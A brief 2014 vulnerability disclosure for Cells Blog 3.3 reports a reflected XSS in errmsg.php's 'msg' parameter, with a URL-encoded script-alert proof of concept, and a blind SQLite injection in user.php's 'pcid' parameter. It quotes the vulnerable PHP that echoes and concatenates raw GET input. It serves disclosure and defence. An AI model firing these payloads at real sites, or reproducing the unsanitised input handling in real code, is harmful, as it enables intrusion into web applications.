################################################################
[+] Exploit: Cells v3.3 XSS Reflected & Blind SQLite Injection #
[+] Author: vinicius777					       #
[+] Contact: vinicius777 [AT] gmail @vinicius777_              #	
[+] version: Cells Blog 3.3				       #
[+] Vendor Homepage: http://cells.tw	                       #
################################################################

 
[+] 14/01/2014 vendor contacted
[+] 17/01/2014 no response from vendor
[+] 20/01/2014 no response from vendor
[+] 21/01/2014 Published  
 

 
[1] Reflective XSS on 'msg='

PoC: 
http://localhost/cells-v3-3/errmsg.php?msg= [%3C%2Fp%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E%3Cp%3E]


Vulnerable Code:
[+] errmsg.php

<?
                echo "<img src='images/error.gif'>";
                if (isset($_GET["msg"])){$msg=$_GET["msg"];}else{$msg="";}
                if ($msg!=""){
                    echo "<br><br><br>".$msg;
                }else{
                        echo "<br><br><br>You may key in something wrong.<br>Please try it again! ..... ";
                        echo " If you always got this message, <br>please send a <a href='pub_pubmsg.php?bgid=1'>".$face_report."</a>";
                        echo " to the web master.";
                }
                ?> 

 
[2] Blind SQLite Injection on 'pcid'

PoC:
http://localhost/cells-v3-3/user.php?pcid= [SQLite Injection]

Vulnerable Code:
[+] user.php

if($_GET["pcid"]!=""){
$sql="select * from users where cdt='n' and pcid=".$_GET["pcid"];


#
#
# Greetz to g0tm1lk and TheColonial.